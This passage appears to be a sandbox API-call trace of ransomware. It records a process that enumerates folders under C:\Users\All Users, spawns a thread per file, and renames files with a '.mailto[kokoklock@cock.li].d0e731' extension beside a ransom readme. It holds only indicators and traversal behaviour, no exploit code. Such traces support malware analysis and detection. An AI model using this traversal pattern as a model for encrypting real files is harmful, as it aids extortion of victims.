ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.745] wcscmp (_String1="..", _String2=".") returned 1 [0168.745] wcscmp (_String1="..", _String2="..") returned 0 [0168.746] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8a617e6f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a617e6f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0168.746] wcscmp (_String1="Logs", _String2=".") returned 1 [0168.746] wcscmp (_String1="Logs", _String2="..") returned 1 [0168.746] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x44) returned 0x2fa1270 [0168.746] wcscpy (in: _Dest=0x2fa1270, _Source="C:\\Users\\All Users\\USOShared" | out: _Dest="C:\\Users\\All Users\\USOShared") returned="C:\\Users\\All Users\\USOShared" [0168.746] wcscat (in: _Dest=0x2fa1270, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\") returned="C:\\Users\\All Users\\USOShared\\" [0168.746] wcscat (in: _Dest=0x2fa1270, _Source="Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0168.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa1270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8 [0168.751] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8a617e6f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a617e6f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 0 [0168.751] FindClose (in: hFindFile=0x2f80120 | out: hFindFile=0x2f80120) returned 1 [0168.751] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99d88) returned 1 [0168.751] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87668) returned 1 [0168.751] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87080) returned 1 [0168.751] RtlExitUserThread (Status=0x0) Thread: id = 1773 os_tid = 0xe74 [0168.746] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5e) returned 0x2f87c30 [0168.746] wcscpy (in: _Dest=0x2f87c30, _Source="C:\\Users\\All Users\\WindowsHolographicDevices" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices") returned="C:\\Users\\All Users\\WindowsHolographicDevices" [0168.747] wcscat (in: _Dest=0x2f87c30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\" [0168.747] wcscat (in: _Dest=0x2f87c30, _Source="*" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\*") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\*" [0168.747] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c670 [0168.747] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\WindowsHolographicDevices\\*", lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7f960 [0168.747] wcscmp (_String1=".", _String2=".") returned 0 [0168.747] FindNextFileW (in: hFindFile=0x2f7f960, lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.747] wcscmp (_String1="..", _String2=".") returned 1 [0168.748] wcscmp (_String1="..", _String2="..") returned 0 [0168.748] FindNextFileW (in: hFindFile=0x2f7f960, lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpatialStore", cAlternateFileName="SPATIA~1")) returned 1 [0168.748] wcscmp (_String1="SpatialStore", _String2=".") returned 1 [0168.748] wcscmp (_String1="SpatialStore", _String2="..") returned 1 [0168.748] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8b510 [0168.748] wcscpy (in: _Dest=0x2f8b510, _Source="C:\\Users\\All Users\\WindowsHolographicDevices" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices") returned="C:\\Users\\All Users\\WindowsHolographicDevices" [0168.748] wcscat (in: _Dest=0x2f8b510, _Source="\\" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\" [0168.748] wcscat (in: _Dest=0x2f8b510, _Source="SpatialStore" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore" [0168.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f8b510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8 [0168.749] FindNextFileW (in: hFindFile=0x2f7f960, lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpatialStore", cAlternateFileName="SPATIA~1")) returned 0 [0168.749] FindClose (in: hFindFile=0x2f7f960 | out: hFindFile=0x2f7f960) returned 1 [0168.749] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c670) returned 1 [0168.749] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87c30) returned 1 [0168.749] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87a28) returned 1 [0168.749] RtlExitUserThread (Status=0x0) Thread: id = 1777 os_tid = 0xe88 [0169.189] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x78) returned 0x2f8b590 [0169.189] wcscpy (in: _Dest=0x2f8b590, _Source="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore" [0169.189] wcscat (in: _Dest=0x2f8b590, _Source="\\" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\" [0169.189] wcscat (in: _Dest=0x2f8b590, _Source="*" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\*") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\*" [0169.189] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2378 [0169.189] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\*", lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f806e0 [0169.190] wcscmp (_String1=".", _String2=".") returned 0 [0169.190] FindNextFileW (in: hFindFile=0x2f806e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.190] wcscmp (_String1="..", _String2=".") returned 1 [0169.190] wcscmp (_String1="..", _String2="..") returned 0 [0169.190] FindNextFileW (in: hFindFile=0x2f806e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0169.190] FindClose (in: hFindFile=0x2f806e0 | out: hFindFile=0x2f806e0) returned 1 [0169.190] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2378) returned 1 [0169.190] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b590) returned 1 [0169.190] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b510) returned 1 [0169.190] RtlExitUserThread (Status=0x0) Thread: id = 1778 os_tid = 0xe8c [0169.191] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x48) returned 0x2fa14f0 [0169.191] wcscpy (in: _Dest=0x2fa14f0, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0169.191] wcscat (in: _Dest=0x2fa14f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0169.191] wcscat (in: _Dest=0x2fa14f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\*") returned="C:\\Users\\All Users\\USOShared\\Logs\\*" [0169.191] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2378 [0169.191] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\*", lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8a617e6f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a617e6f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f802e0 [0169.193] wcscmp (_String1=".", _String2=".") returned 0 [0169.193] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8a617e6f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a617e6f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.194] wcscmp (_String1="..", _String2=".") returned 1 [0169.194] wcscmp (_String1="..", _String2="..") returned 0 [0169.194] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87adaf8b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x87adaf8b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87adaf8b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0169.195] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0169.195] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0169.195] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x58d51fd9, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x87adaf8b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NOTIFI~1.D0E")) returned 1 [0169.195] wcscmp (_String1="NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0169.195] wcscmp (_String1="NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0169.195] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x3024910 [0169.195] wcscpy (in: _Dest=0x3024910, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0169.195] wcscat (in: _Dest=0x3024910, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0169.195] wcscat (in: _Dest=0x3024910, _Source="NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731" [0170.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3024910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4 [0170.834] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7cf76e0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x87b27992, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NOTIFI~2.D0E")) returned 1 [0170.834] wcscmp (_String1="NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.834] wcscmp (_String1="NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.834] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f9dcb0 [0170.834] wcscpy (in: _Dest=0x2f9dcb0, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.834] wcscat (in: _Dest=0x2f9dcb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.834] wcscat (in: _Dest=0x2f9dcb0, _Source="NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731" [0170.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9dcb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0 [0170.835] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2d822f20, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x87bbfd3a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.001.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NOTIFI~3.D0E")) returned 1 [0170.835] wcscmp (_String1="NotificationUxBroker.001.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.835] wcscmp (_String1="NotificationUxBroker.001.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.835] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2f95100 [0170.835] wcscpy (in: _Dest=0x2f95100, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.835] wcscat (in: _Dest=0x2f95100, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.835] wcscat (in: _Dest=0x2f95100, _Source="NotificationUxBroker.001.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl.mailto[kokoklock@cock.li].d0e731" [0170.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f95100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc [0170.836] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfe554d51, ftLastAccessTime.dwHighDateTime=0x1d3375a, ftLastWriteTime.dwLowDateTime=0x87be5eea, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.002.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NOTIFI~4.D0E")) returned 1 [0170.836] wcscmp (_String1="NotificationUxBroker.002.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.836] wcscmp (_String1="NotificationUxBroker.002.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.836] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2f96a28 [0170.836] wcscpy (in: _Dest=0x2f96a28, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.836] wcscat (in: _Dest=0x2f96a28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.836] wcscat (in: _Dest=0x2f96a28, _Source="NotificationUxBroker.002.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl.mailto[kokoklock@cock.li].d0e731" [0170.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8 [0170.837] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfdf01be1, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0x87c3238e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.003.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NOF2B3~1.D0E")) returned 1 [0170.837] wcscmp (_String1="NotificationUxBroker.003.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.837] wcscmp (_String1="NotificationUxBroker.003.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.837] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2f70d80 [0170.837] wcscpy (in: _Dest=0x2f70d80, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.837] wcscat (in: _Dest=0x2f70d80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.837] wcscat (in: _Dest=0x2f70d80, _Source="NotificationUxBroker.003.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl.mailto[kokoklock@cock.li].d0e731" [0170.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f70d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c4 [0170.838] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x588b3c6a, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x87c7e7f3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.004.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NO5818~1.D0E")) returned 1 [0170.838] wcscmp (_String1="NotificationUxBroker.004.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.838] wcscmp (_String1="NotificationUxBroker.004.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.838] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2f6ab60 [0170.838] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.838] wcscat (in: _Dest=0x2f6ab60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.838] wcscat (in: _Dest=0x2f6ab60, _Source="NotificationUxBroker.004.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl.mailto[kokoklock@cock.li].d0e731" [0170.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4 [0170.838] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xb4b94410, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x87ca4a70, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.005.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NOD950~1.D0E")) returned 1 [0170.838] wcscmp (_String1="NotificationUxBroker.005.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.838] wcscmp (_String1="NotificationUxBroker.005.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.838] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa4fd8 [0170.839] wcscpy (in: _Dest=0x2fa4fd8, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.839] wcscat (in: _Dest=0x2fa4fd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.839] wcscat (in: _Dest=0x2fa4fd8, _Source="NotificationUxBroker.005.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl.mailto[kokoklock@cock.li].d0e731" [0170.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa4fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d0 [0170.839] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: 